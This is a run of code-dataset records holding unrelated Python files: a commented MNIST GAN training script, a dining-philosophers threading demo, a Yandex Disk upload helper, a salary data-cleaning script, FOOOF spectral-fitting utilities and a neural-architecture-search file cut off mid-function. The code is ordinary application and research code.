type=int, default=64, help=\"size of the batches\")\r\nparser.add_argument(\"--lr\", type=float, default=0.0002, help=\"adam: learning rate\") # 使用的adam 学习速率 设置的比较小\r\nparser.add_argument(\"--b1\", type=float, default=0.5, help=\"adam: decay of first order momentum of gradient\") # 优化器adam 的两个参数 矩估计的指数衰减率\r\nparser.add_argument(\"--b2\", type=float, default=0.999, help=\"adam: decay of first order momentum of gradient\")\r\nparser.add_argument(\"--n_cpu\", type=int, default=8, help=\"number of cpu threads to use during batch generation\") # 使用cpu 的数量\r\nparser.add_argument(\"--latent_dim\", type=int, default=100, help=\"dimensionality of the latent space\") # 随机噪声z的维度\r\nparser.add_argument(\"--img_size\", type=int, default=28, help=\"size of each image dimension\") # 输入图像的尺寸\r\nparser.add_argument(\"--channels\", type=int, default=1, help=\"number of image channels\") # 输入图像的channel数 1是灰度图像 3是RGB\r\nparser.add_argument(\"--sample_interval\", type=int, default=400, help=\"interval betwen image samples\") # 保存生成模型图像的间隔\r\nopt = parser.parse_args() # 所有参数输出\r\nprint(opt)\r\n\r\nimg_shape = (opt.channels, opt.img_size, opt.img_size) # 图像尺寸 (1.28.28)\r\nprint('img_shape=',img_shape)\r\n\r\ncuda = True if torch.cuda.is_available() else False # 使用cuda\r\n\r\n# Configure data loader\r\nos.makedirs(\"../../data/mnist\", exist_ok=True)\r\ndataloader = torch.utils.data.DataLoader(\r\n datasets.MNIST(\r\n \"../../data/mnist\",\r\n train=True,\r\n download=True,\r\n transform=transforms.Compose(\r\n [transforms.Resize(opt.img_size), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])]\r\n ),#对图像进行transform。有重新设置尺寸到我们所需要的大小,转变成tensor,归一化\r\n ),\r\n\r\n batch_size=opt.batch_size,\r\n shuffle=True,#将加载好的数据打乱\r\n)\r\n\r\n# %%\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef show_img(img, trans=True):\r\n if trans:\r\n img = np.transpose(img.detach().cpu().numpy(), (1, 2, 0)) # 把channel维度放到最后\r\n plt.imshow(img[:, :, 0], cmap=\"gray\")\r\n else:\r\n plt.imshow(img, cmap=\"gray\")\r\n plt.show()\r\n\r\n\r\nmnist = datasets.MNIST(\"../../data/mnist\")\r\n\r\nfor i in range(3):#把mnist中的前三张图片展示出来\r\n sample = mnist[i][0]\r\n label = mnist[i][1]\r\n show_img(np.array(sample), trans=False)\r\n print(\"label =\", label, '\\n')\r\n\r\n#为了展现加载数据的transform过程\r\ntrans_resize = transforms.Resize(opt.img_size)\r\ntrans_to_tensor = transforms.ToTensor()\r\ntrans_normalize = transforms.Normalize([0.5], [0.5]) # x_n = (x - 0.5) / 0.5归一化的过程\r\n\r\nprint(\"shape =\", np.array(sample).shape, '\\n')\r\nprint(\"data =\", np.array(sample), '\\n')\r\nsamlpe = trans_resize(sample)\r\nprint(\"(trans_resize) shape =\", np.array(sample).shape, '\\n')\r\nsample = trans_to_tensor(sample)\r\nprint(\"(trans_to_tensor) data =\", sample, '\\n')\r\nsample = trans_normalize(sample)#归一化后的\r\nprint(\"(trans_normalize) data =\", sample, '\\n')\r\n\r\n# %%\r\nclass Generator(nn.Module): # 生成器 5个全连接层\r\n def __init__(self):\r\n super(Generator, self).__init__()\r\n\r\n def block(in_feat, out_feat, normalize=True):\r\n layers = [nn.Linear(in_feat, out_feat)] # Linear全连接层 输入维度,输出维度\r\n if normalize: # 要不要正则化\r\n layers.append(nn.BatchNorm1d(out_feat, 0.8))\r\n layers.append(nn.LeakyReLU(0.2, inplace=True)) # LeakyReLU的激活函数,,小于0ai=0.2\r\n return layers\r\n\r\n self.model = nn.Sequential(\r\n *block(opt.latent_dim, 128, normalize=False), # 调整维度,不正则化\r\n *block(128, 256),\r\n *block(256, 512),\r\n *block(512, 1024), # 这三正则化\r\n nn.Linear(1024, int(np.prod(img_shape))), # 全连接层 24转化为784维度\r\n nn.Tanh() # 值域转化为(-1,1)\r\n )\r\n\r\n def forward(self, z): # 把随机噪声z输入到定义的模型\r\n img = self.model(z)\r\n img = img.view(img.size(0), *img_shape)\r\n return img\r\n\r\ngenerator = Generator()#把generator进行实例化,得到了一个模型的实例\r\nprint(generator)\r\n\r\nclass Discriminator(nn.Module): # 判别器\r\n def __init__(self):\r\n super(Discriminator, self).__init__()\r\n\r\n self.model = nn.Sequential(\r\n nn.Linear(int(np.prod(img_shape)), 512),\r\n nn.LeakyReLU(0.2, inplace=True),\r\n nn.Linear(512, 256),\r\n nn.LeakyReLU(0.2, inplace=True),\r\n nn.Linear(256, 1),\r\n nn.Sigmoid(), # 把值域变化到 0-1\r\n )\r\n\r\n def forward(self, img):\r\n img_flat = img.view(img.size(0), -1)\r\n validity = self.model(img_flat)\r\n\r\n return validity\r\n\r\ndiscriminator = Discriminator()\r\nprint(discriminator)\r\n\r\n\r\n# Loss function 损失函数\r\nadversarial_loss = torch.nn.BCELoss()\r\n\r\n# Initialize generator and discriminator\r\ngenerator = Generator() # 实例化\r\ndiscriminator = Discriminator()\r\n\r\n# cuda 加速\r\nif cuda:\r\n generator.cuda()\r\n discriminator.cuda()\r\n adversarial_loss.cuda()\r\n\r\n\r\n\r\n# Optimizers 优化器Adam\r\noptimizer_G = torch.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2)) # 使用参数的学习速率,只优化生成器中的参数\r\noptimizer_D = torch.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))#只优化辨别器中的参数\r\n\r\nTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\r\n\r\n# ----------\r\n# Training\r\n# ----------\r\n\r\nfor epoch in range(opt.n_epochs):\r\n for i, (imgs, _) in enumerate(dataloader): # 从数据集和随机向量仲获取输入\r\n # Configure input\r\n real_imgs = Variable(imgs.type(Tensor)) # 用来保存真实值\r\n # Sample noise as generator input\r\n z = Variable(Tensor( np.random.normal(0, 1, (imgs.shape[0], opt.latent_dim)))) # 定义随机噪声,从正态分布均匀采样均值为0,方差为1 opt.latent_dim = 100\r\n print(\"i =\", i, '\\n')\r\n print(\"shape of z =\", z.shape, '\\n')\r\n print(\"shape of real_imgs =\", real_imgs.shape, '\\n')\r\n print(\"z =\", z, '\\n')\r\n print(\"real_imgs =\")\r\n\r\n for img in real_imgs[:3]:\r\n show_img(img)#这里随机展示的数据与上面展示的3个数据是不一样的,因为我们在加载数据的过程中已经将顺序打乱\r\n\r\n\r\n\r\n # 分别计算loss,使用反向传播更新模型\r\n # Adversarial ground truths t是标注.正确的t标注是ground truth\r\n valid = Variable(Tensor(imgs.size(0), 1).fill_(1.0), requires_grad=False) # 判定1为真\r\n fake = Variable(Tensor(imgs.size(0), 1).fill_(0.0), requires_grad=False) # 判定0为假\r\n\r\n\r\n\r\n # -----------------\r\n # Train Generator\r\n # -----------------\r\n\r\n optimizer_G.zero_grad() # 把生成器的梯度清0\r\n\r\n\r\n\r\n # Generate a batch of images\r\n gen_imgs = generator(z) # 生成图像\r\n print(\"gen_imgs =\")\r\n for img in gen_imgs[:3]:\r\n show_img(img)\r\n\r\n # Loss measures generator's ability to fool the discriminator\r\n #把生成的图像送入判别器,得到判别器 对他的输出\r\n g_loss = adversarial_loss(discriminator(gen_imgs), valid) # 对抗loss 最小化需要判别器的输出和真(1)尽量接近\r\n\r\n g_loss.backward() # 反向传播\r\n optimizer_G.step() # 模型更新\r\n\r\n # ---------------------\r\n # Train Discriminator\r\n # ---------------------\r\n\r\n optimizer_D.zero_grad()\r\n\r\n # Measure discriminator's ability to classify real from generated samples\r\n real_loss = adversarial_loss(discriminator(real_imgs), valid)\r\n fake_loss = adversarial_loss(discriminator(gen_imgs.detach()), fake)#梯度到了gen_imgs就不会再往前传避免了一些多余的计算\r\n\r\n d_loss = (real_loss + fake_loss) / 2\r\n\r\n d_loss.backward()\r\n optimizer_D.step()\r\n\r\n ## 9 保存生成图像和模型文件\r\n\r\n # %%\r\n\r\n\r\n\r\n epoch = 0 # temporary\r\n\r\n batches_done = epoch * len(dataloader) + i # 算一个总的batch\r\n if batches_done % opt.sample_interval == 0: # 当batch数等于设定参数的倍数的时候\r\n save_image(gen_imgs.data[:25], \"images/%d.png\" % batches_done, nrow=5, normalize=True) # 保存图像\r\n\r\n os.makedirs(\"model\", exist_ok=True) # 保存模型\r\n torch.save(generator, 'model/generator.pkl')\r\n torch.save(discriminator, 'model/discriminator.pkl')\r\n print(\"gen images saved!\\n\")\r\n print(\"model saved!\")\r\n\r\n # %%\r\n\r\n","repo_name":"wang-xm525/GAN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39155818857","text":"import threading\nimport time\n# The philosopher thread\n\n\ndef philosopher(left, right, n):\n while True:\n print(f\"waiting left :{n} {id(left)}\")\n with left:\n print(f\"waiting right :{n} {id(right)}\")\n with right:\n print(\n f\"{time.time()} philosopher at {threading.currentThread()} is eating\")\n\n\nif __name__ == \"__main__\":\n # The chopsticks\n N_FORKS = 5\n # each forks is represented by lock object\n forks = [threading.Lock() for n in range(N_FORKS)]\n\n # Create all of the philosophers\n phils = [threading.Thread(\n target=philosopher,\n args=(forks[n], forks[(n + 1) % N_FORKS], n)\n ) for n in range(N_FORKS)]\n\n # Run all of the philosophers\n for p in phils:\n p.start()\n","repo_name":"owari-taro/concurrency_in_python","sub_path":"mastering_concurrency/ch12/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22191734668","text":"import logging\nfrom pathlib import Path\nfrom typing import Optional\n\nimport yadisk\nfrom django.conf import settings\nfrom yadisk.exceptions import YaDiskError\n\nlogger = logging.getLogger(\"django\")\n\n\ndef publish_file(yndx, path):\n if yndx.exists(path):\n yndx.publish(path)\n return yndx.get_meta(path, fields=[\"public_url\"]).public_url\n\n\ndef yandex_disk_export(instance) -> Optional[bool]:\n try:\n yndx = yadisk.YaDisk(token=settings.YNDX_DISK_TOKEN)\n _, year, name = Path(str(instance.file)).parts\n to_dir = f\"{year}/{name}\"\n from_dir = (settings.MEDIA_ROOT / instance.file.name).as_posix()\n\n if not yndx.is_dir(year):\n yndx.mkdir(year)\n yndx.upload(from_dir, to_dir)\n\n return publish_file(yndx, to_dir)\n except (ValueError, YaDiskError) as error:\n msg = f\"Не удалось загрузить пьесу {instance.title} от {instance.email} на Яндекс диск.\"\n logger.critical(msg, error, exc_info=True)\n","repo_name":"Studio-Yandex-Practicum/Lubimovka_backend","sub_path":"apps/feedback/services/yandex_disk_export.py","file_name":"yandex_disk_export.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"53"} +{"seq_id":"42940116202","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nimport sys\n\n#split salary by blank space and select the numeric number\ndef splitSalary(salary):\n salaryList = []\n for value in salary:\n salaryStr = value.split(' ')\n if salaryStr[0] == 'Up':\n salaryList.append(salaryStr[2])\n elif salaryStr[0] == 'From':\n salaryList.append(salaryStr[1])\n else:\n salaryList.append(salaryStr[0])\n\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#delete ',','$' in salary\ndef cleanSalary(salary):\n salaryList = []\n for value in salary:\n temp = value.replace(',', '')\n salaryStr = temp.split('$')\n salaryList.append(float(salaryStr[1]))\n\n # print(salaryList)\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#convert salary in hour, day, month to year\ndef convert_to_year(salary):\n salaryList = []\n for value in salary:\n if (value < 200): # hour\n salaryList.append(value * 8 * 22 * 12)\n elif (value < 600): # day\n salaryList.append(value * 22 * 12)\n elif (value < 20001): # month\n salaryList.append(value * 12)\n else:\n salaryList.append(value)\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#draw seaborn to check exceptional data\ndef draw_boxplot(dataFrame):\n f,ax=plt.subplots(figsize=(10,8))\n import seaborn as sns\n sns.boxplot(x='experience_filter', y='Salary', data=dataFrame, ax=ax)\n # sns.boxplot(y='Salary', data=dataFrame, ax=ax)\n plt.show()\n\n\n#Fill null salary\ndef padding(final_cleaned_data):\n # final_cleaned_data = pd.read_csv(\"final_cleaned_data.csv\")\n location_list = ['San Jose', 'New York', 'San Francisco', 'California']\n job_list = ['backend developer', 'front developer', 'full stack developer']\n experience_list = ['Entry', 'Mid', 'Senior']\n\n for location in location_list:\n for job_type in job_list:\n for experience in experience_list:\n media_tmp = final_cleaned_data[(final_cleaned_data['location_filter'] == location) \\\n & (final_cleaned_data['job_title_filter'] == job_type) \\\n & (final_cleaned_data['experience_filter'] == experience)][\n 'Salary'].median()\n # print(media_tmp)\n final_cleaned_data.loc[((final_cleaned_data['location_filter'] == location) \\\n & (final_cleaned_data['job_title_filter'] == job_type) \\\n & (final_cleaned_data['experience_filter'] == experience)\n & (final_cleaned_data['Salary'].isna())), \"Salary\"] = media_tmp\n final_cleaned_data.to_csv(\"data_fill.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n data = pd.read_csv(sys.argv[1])\n data = data[[\"Company\", \"Title\", \"job_title_filter\", \"location_filter\", \"experience_filter\", \"Salary\"]]\n #delete null salary\n data = data.dropna(subset=['job_title_filter', 'Salary'])\n data = data.reset_index(drop=True)\n data.loc[:, 'Salary'] = splitSalary(data.loc[:, 'Salary'])\n data.loc[:, 'Salary'] = cleanSalary(data.loc[:, 'Salary'])\n data.loc[:, 'Salary'] = convert_to_year(data.loc[:, 'Salary'])\n data.to_csv('dataset/cleaned_data.csv', index=False)\n print(data.describe())\n # check group, remove Outliers\n group = data.groupby(by=[\"location_filter\", \"job_title_filter\", \"experience_filter\"])[\"Salary\"].mean()\n print(group)\n\n draw_data = data[(data[\"location_filter\"] == \"San Francisco\")\n & (data[\"job_title_filter\"] == \"software developer\")]\n draw_boxplot(draw_data)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Francisco\") & (data[\"job_title_filter\"] == \"software developer\")\n & (data[\"experience_filter\"] == \"Mid\")\n & (data[\"Salary\"] >= 350000)].index)\n data = data.reset_index(drop=True)\n\n draw_data = data[(data[\"location_filter\"] == \"San Jose\")\n & (data[\"job_title_filter\"] == \"data science\")]\n draw_boxplot(draw_data)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Jose\") & (data[\"job_title_filter\"] == \"data science\")\n & (data[\"experience_filter\"] == \"Mid\")\n & ((data[\"Salary\"] >= 210000) | (data[\"Salary\"] <= 70000))].index)\n data = data.reset_index(drop=True)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Jose\") & (data[\"job_title_filter\"] == \"data science\")\n & (data[\"experience_filter\"] == \"Senior\")\n & (data[\"Salary\"] >= 250000)].index)\n data = data.reset_index(drop=True)\n\n data.to_csv('dataset/train_data.csv', index=False)\n\n group = data.groupby(by=[\"location_filter\", \"job_title_filter\", \"experience_filter\"])[\"Salary\"].mean()\n print(group)\n\n","repo_name":"CS7CS4/IncomeForecasts","sub_path":"clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":5058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"34014521344","text":"from copy import deepcopy\nimport numpy as np\nfrom heurestic_v2.board import Board\n\n_SWAP_PLAYER = { 0: 0, 1: 2, 2: 1 }\n\n_PLAYER_AXIS = {\n \"red\": 0, # Red aims to form path in r/0 axis\n \"blue\": 1 # Blue aims to form path in q/1 axis\n}\n\n_TOKEN_MAP_OUT = { 0: None, 1: \"red\", 2: \"blue\" }\n\nglobal_neighbours = []\n\ndef evaluation(input_board, n, player):\n board = deepcopy(input_board._data)\n min_row = np.inf\n min_col = np.inf\n min = np.inf\n for i in range(n):\n for j in range(n):\n print(i,j,input_board.__getitem__((i, j)))\n if input_board.__getitem__((i, j)) != _TOKEN_MAP_OUT[player]:\n board[i][j] = np.inf\n else:\n # already_visited = [[i,j]]\n board[i][j] = shortestPath(input_board, n, player, i, j, )\n if(board[i][j] < min):\n min_row = i\n min_col = j\n\n return (min_row, min_col)\n\n\n\ndef shortestPath(input_board, n, player, row, column,):\n board = deepcopy(input_board._data)\n\n #already_visited.append((row,column))\n for degree in range(1,n):\n neighbours = getNeighbours(board, n, degree, row, column, )\n # for n in neighbours:\n # if n not in already_visited:\n # already_visited.append(n)\n print(degree, row, column, neighbours)\n if neighbours:\n assignValue(input_board, board, neighbours, player, degree)\n\n #searches for min value from the winning edges\n if _TOKEN_MAP_OUT[player] == \"red\":\n min_top = np.inf\n min_btm = np.inf\n for i in range(n):\n if board[0][i] < min_top:\n min_top = board[0][i]\n min_top_coord = [0, i]\n if board[n-1][i] < min_btm:\n min_btm = board[0][i]\n min_btm_coord = [n-1, i]\n\n shortestPath = []\n min_top_neighbours = getCoordNeighbours(n, min_top_coord[0], min_top_coord[1])\n min_btm_neighbours = getCoordNeighbours(n, min_btm_coord[0], min_btm_coord[1])\n while(min_top >= 0):\n for neighbour in min_top_neighbours:\n if board[neighbour] == min_top - 1:\n shortestPath.append(board[neighbour])\n min_top -= 1\n while(min_btm >= 0):\n for neighbour in min_btm_neighbours:\n if board[neighbour] == min_btm - 1:\n shortestPath.append(board[neighbour])\n min_btm -= 1\n\n return len(shortestPath)\n\n\ndef getNeighbours(board, n, degree, row, column):\n\n if degree == 1:\n return getCoordNeighbours(n, row, column)\n\n new_neighbours = []\n neighbours = getNeighbours(board, n, degree - 1, row, column, )\n for neighbour in neighbours:\n new_neighbour_list = getCoordNeighbours(n, neighbour[0], neighbour[1])\n for new_neighbour in new_neighbour_list:\n if new_neighbour not in neighbours and new_neighbour != (row, column):\n new_neighbours.append(new_neighbour)\n\n return new_neighbours\n\n\ndef assignValue(input_board, board, neighbours, player, radius):\n for neighbour in neighbours:\n if input_board.__getitem__(neighbour) != _TOKEN_MAP_OUT[player]:\n board[neighbour] = radius - 1\n elif input_board.__getitem__(neighbour) == _TOKEN_MAP_OUT[_SWAP_PLAYER[player]]:\n board[neighbour] = np.inf\n else:\n board[neighbour] = radius\n\n\ndef getCoordNeighbours(n, row, column):\n neighbors = []\n for new_position in [(0, -1), (0, 1), (-1, 0), (1, 0), (-1, 1), (1, -1)]:\n neighbors.append((row + new_position[0], column + new_position[1]))\n\n neighbors = [c for c in neighbors if c[0] >= 0 and c[0] < n and c[1] >= 0 and c[1] < n]\n\n return neighbors\n\n\ndef longest_connected(board, player, action):\n\n connected = board.connected_coords(action)\n length_along_axis = 0\n min = np.inf\n max = -np.inf\n axis = _PLAYER_AXIS[_TOKEN_MAP_OUT[player]]\n for conn in connected:\n if min > conn[axis]:\n min = conn[0]\n if max < conn[0]:\n max = conn[0]\n\n return max - min\n\n\n\n\n","repo_name":"KIAND-glitch/Cachex-AI-GameAgent","sub_path":"partB/heurestic_v2/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2353936998","text":"\"\"\"Utility functions for managing and manipulating FOOOF objects.\"\"\"\n\nimport numpy as np\n\nfrom fooof.sim import gen_freqs\nfrom fooof.data import FOOOFResults\nfrom fooof.objs import FOOOF, FOOOFGroup\nfrom fooof.analysis.periodic import get_band_peak_fg\nfrom fooof.core.errors import NoModelError, IncompatibleSettingsError\n\n###################################################################################################\n###################################################################################################\n\ndef compare_info(fooof_lst, aspect):\n \"\"\"Compare a specified aspect of FOOOF objects across instances.\n\n Parameters\n ----------\n fooof_lst : list of FOOOF and / or FOOOFGroup\n Objects whose attributes are to be compared.\n aspect : {'settings', 'meta_data'}\n Which set of attributes to compare the objects across.\n\n Returns\n -------\n consistent : bool\n Whether the settings are consistent across the input list of objects.\n \"\"\"\n\n # Check specified aspect of the objects are the same across instances\n for f_obj_1, f_obj_2 in zip(fooof_lst[:-1], fooof_lst[1:]):\n if getattr(f_obj_1, 'get_' + aspect)() != getattr(f_obj_2, 'get_' + aspect)():\n consistent = False\n break\n else:\n consistent = True\n\n return consistent\n\n\ndef average_fg(fg, bands, avg_method='mean', regenerate=True):\n \"\"\"Average across model fits in a FOOOFGroup object.\n\n Parameters\n ----------\n fg : FOOOFGroup\n Object with model fit results to average across.\n bands : Bands\n Bands object that defines the frequency bands to collapse peaks across.\n avg : {'mean', 'median'}\n Averaging function to use.\n regenerate : bool, optional, default: True\n Whether to regenerate the model for the averaged parameters.\n\n Returns\n -------\n fm : FOOOF\n Object containing the average model results.\n\n Raises\n ------\n ValueError\n If the requested averaging method is not understood.\n NoModelError\n If there are no model fit results available to average across.\n \"\"\"\n\n if avg_method not in ['mean', 'median']:\n raise ValueError(\"Requested average method not understood.\")\n if not fg.has_model:\n raise NoModelError(\"No model fit results are available, can not proceed.\")\n\n if avg_method == 'mean':\n avg_func = np.nanmean\n elif avg_method == 'median':\n avg_func = np.nanmedian\n\n # Aperiodic parameters: extract & average\n ap_params = avg_func(fg.get_params('aperiodic_params'), 0)\n\n # Periodic parameters: extract & average\n peak_params = []\n gauss_params = []\n\n for band_def in bands.definitions:\n\n peaks = get_band_peak_fg(fg, band_def, attribute='peak_params')\n gauss = get_band_peak_fg(fg, band_def, attribute='gaussian_params')\n\n # Check if there are any extracted peaks - if not, don't add\n # Note that we only check peaks, but gauss should be the same\n if not np.all(np.isnan(peaks)):\n peak_params.append(avg_func(peaks, 0))\n gauss_params.append(avg_func(gauss, 0))\n\n peak_params = np.array(peak_params)\n gauss_params = np.array(gauss_params)\n\n # Goodness of fit measures: extract & average\n r2 = avg_func(fg.get_params('r_squared'))\n error = avg_func(fg.get_params('error'))\n\n # Collect all results together, to be added to FOOOF object\n results = FOOOFResults(ap_params, peak_params, r2, error, gauss_params)\n\n # Create the new FOOOF object, with settings, data info & results\n fm = FOOOF()\n fm.add_settings(fg.get_settings())\n fm.add_meta_data(fg.get_meta_data())\n fm.add_results(results)\n\n # Generate the average model from the parameters\n if regenerate:\n fm._regenerate_model()\n\n return fm\n\n\ndef combine_fooofs(fooofs):\n \"\"\"Combine a group of FOOOF and/or FOOOFGroup objects into a single FOOOFGroup object.\n\n Parameters\n ----------\n fooofs : list of FOOOF or FOOOFGroup\n Objects to be concatenated into a FOOOFGroup.\n\n Returns\n -------\n fg : FOOOFGroup\n Resultant object from combining inputs.\n\n Raises\n ------\n IncompatibleSettingsError\n If the input objects have incompatible settings for combining.\n\n Examples\n --------\n Combine FOOOF objects together (where `fm1`, `fm2` & `fm3` are assumed to be defined and fit):\n\n >>> fg = combine_fooofs([fm1, fm2, f3]) # doctest:+SKIP\n\n Combine FOOOFGroup objects together (where `fg1` & `fg2` are assumed to be defined and fit):\n\n >>> fg = combine_fooofs([fg1, fg2]) # doctest:+SKIP\n \"\"\"\n\n # Compare settings\n if not compare_info(fooofs, 'settings') or not compare_info(fooofs, 'meta_data'):\n raise IncompatibleSettingsError(\"These objects have incompatible settings \"\n \"or meta data, and so cannot be combined.\")\n\n # Initialize FOOOFGroup object, with settings derived from input objects\n fg = FOOOFGroup(*fooofs[0].get_settings(), verbose=fooofs[0].verbose)\n\n # Use a temporary store to collect spectra, as we'll only add it if it is consistently present\n # We check how many frequencies by accessing meta data, in case of no frequency vector\n meta_data = fooofs[0].get_meta_data()\n n_freqs = len(gen_freqs(meta_data.freq_range, meta_data.freq_res))\n temp_power_spectra = np.empty([0, n_freqs])\n\n # Add FOOOF results from each FOOOF object to group\n for f_obj in fooofs:\n\n # Add FOOOFGroup object\n if isinstance(f_obj, FOOOFGroup):\n fg.group_results.extend(f_obj.group_results)\n if f_obj.power_spectra is not None:\n temp_power_spectra = np.vstack([temp_power_spectra, f_obj.power_spectra])\n\n # Add FOOOF object\n else:\n fg.group_results.append(f_obj.get_results())\n if f_obj.power_spectrum is not None:\n temp_power_spectra = np.vstack([temp_power_spectra, f_obj.power_spectrum])\n\n # If the number of collected power spectra is consistent, then add them to object\n if len(fg) == temp_power_spectra.shape[0]:\n fg.power_spectra = temp_power_spectra\n\n # Add data information information\n fg.add_meta_data(fooofs[0].get_meta_data())\n\n return fg\n\n\ndef fit_fooof_3d(fg, freqs, power_spectra, freq_range=None, n_jobs=1):\n \"\"\"Fit FOOOF models across a 3d array of power spectra.\n\n Parameters\n ----------\n fg : FOOOFGroup\n Object to fit with, initialized with desired settings.\n freqs : 1d array\n Frequency values for the power spectra, in linear space.\n power_spectra : 3d array\n Power values, in linear space, with shape as: [n_conditions, n_power_spectra, n_freqs].\n freq_range : list of [float, float], optional\n Desired frequency range to fit. If not provided, fits the entire given range.\n n_jobs : int, optional, default: 1\n Number of jobs to run in parallel.\n 1 is no parallelization. -1 uses all available cores.\n\n Returns\n -------\n fgs : list of FOOOFGroups\n Collected FOOOFGroups after fitting across power spectra, length of n_conditions.\n\n\n Examples\n --------\n Fit a 3d array of power spectra, assuming `freqs` and `spectra` are already defined:\n\n >>> from fooof import FOOOFGroup\n >>> fg = FOOOFGroup(peak_width_limits=[1, 6], min_peak_height=0.1)\n >>> fgs = fit_fooof_3d(fg, freqs, power_spectra, freq_range=[3, 30]) # doctest:+SKIP\n \"\"\"\n\n fgs = []\n for cond_spectra in power_spectra:\n fg.fit(freqs, cond_spectra, freq_range, n_jobs)\n fgs.append(fg.copy())\n\n return fgs\n","repo_name":"JohnGriffiths/eeg_notebooks_doc","sub_path":"fooof/objs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"21276620877","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nfrom operations import *\nfrom genotypes import PRIMITIVES\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\nfrom pdb import set_trace as bp\n\nBatchNorm2d = nn.BatchNorm2d\n\ndef kl_normal(qm, qv, pm, pv, yh):\n element_wise = 0.5 * (torch.log(pv) - torch.log(qv) + qv / pv + (qm - pm - yh).pow(2) / pv - 1)\n kl = element_wise.sum(-1)\n return torch.mean(kl)\n\ndef sample_gaussian(m, v):\n sample = torch.randn(m.shape).to(torch.device(\"cuda\"))\n m = m.cuda()\n v = v.cuda()\n z = m + (v ** 0.5) * sample\n return z\n\n\ndef softmax(x):\n return np.exp(x) / (np.exp(x).sum() + np.spacing(1))\n\nclass TCONV(nn.Module):\n def __init__(self, t_in_ch, t_out_ch, t_kernel, t_padding, t_stride, outpadding = 0):\n super(TCONV, self).__init__()\n self.t_in_ch = t_in_ch\n self.t_out_ch = t_out_ch\n self.t_kernel = t_kernel\n self.t_stride = t_stride\n self.t_padding = t_padding\n self.weight = 1\n self.bias = 0\n self.outpadding = outpadding\n\n self.net = nn.Sequential(\n\n nn.ConvTranspose2d(t_in_ch, t_out_ch, kernel_size=t_kernel, padding=t_padding, stride=t_stride, output_padding=self.outpadding), # (w-k+2p)/s+1\n nn.BatchNorm2d(t_out_ch),\n nn.PReLU(),\n )\n\n def decode(self, x):\n h = self.net(x)\n # mu, var = ut.gaussian_parameters(h, dim=1)\n return h\n\n\nclass FCONV(nn.Module):\n def __init__(self, t_in_ch, t_out_ch, t_kernel, t_padding, t_stride):\n super(FCONV, self).__init__()\n\n self.t_in_ch = t_in_ch\n self.t_out_ch = t_out_ch\n self.t_kernel = t_kernel\n self.t_stride = t_stride\n self.t_padding = t_padding\n\n\n self.final = nn.Sequential(\n nn.PReLU(),\n nn.ConvTranspose2d(t_in_ch, t_out_ch, kernel_size=t_kernel, padding=t_padding, stride=t_stride), # (w-k+2p)/s+1\n #nn.Sigmoid()\n nn.Tanh()\n )\n\n def final_decode(self,x):\n # x = x.view(-1, self.t_in_ch, self.unflat_dim, self.unflat_dim)\n x_re = self.final(x)\n return x_re\n\ndef path2downs(path):\n '''\n 0 same 1 down\n '''\n downs = []\n prev = path[0]\n for node in path[1:]:\n assert (node - prev) in [0, 1]\n if node > prev:\n downs.append(1)\n else:\n downs.append(0)\n prev = node\n downs.append(0)\n return downs\n\n\ndef downs2path(downs):\n path = [0]\n for down in downs[:-1]:\n if down == 0:\n path.append(path[-1])\n elif down == 1:\n path.append(path[-1] + 1)\n return path\n\n\ndef alphas2ops_path_width(alphas, path, widths):\n '''\n alphas: [alphas0, ..., alphas3]\n '''\n assert len(path) == len(widths) + 1, \"len(path) %d, len(widths) %d\" % (len(path), len(widths))\n ops = []\n path_compact = []\n widths_compact = []\n pos2alpha_skips = [] # (pos, alpha of skip) to be prunned\n min_len = int(np.round(len(path) / 3.)) + path[-1] * 2\n # keep record of position(s) of skip_connect\n for i in range(len(path)):\n scale = path[i]\n op = alphas[scale][i - scale].argmax()\n if op == 0 and (i == len(path) - 1 or path[i] == path[i + 1]):\n # alpha not softmax yet\n pos2alpha_skips.append((i, F.softmax(alphas[scale][i - scale], dim=-1)[0]))\n\n pos_skips = [pos for pos, alpha in pos2alpha_skips]\n pos_downs = [pos for pos in range(len(path) - 1) if path[pos] < path[pos + 1]]\n if len(pos_downs) > 0:\n pos_downs.append(len(path))\n for i in range(len(pos_downs) - 1):\n # cannot be all skip_connect between each downsample-pair\n # including the last down to the path-end\n pos1 = pos_downs[i];\n pos2 = pos_downs[i + 1]\n if pos1 + 1 in pos_skips and pos2 - 1 in pos_skips and pos_skips.index(pos2 - 1) - pos_skips.index(\n pos1 + 1) == (pos2 - 1) - (pos1 + 1):\n min_skip = [1, -1] # score, pos\n for j in range(pos1 + 1, pos2):\n scale = path[j]\n score = F.softmax(alphas[scale][j - scale], dim=-1)[0]\n if score <= min_skip[0]:\n min_skip = 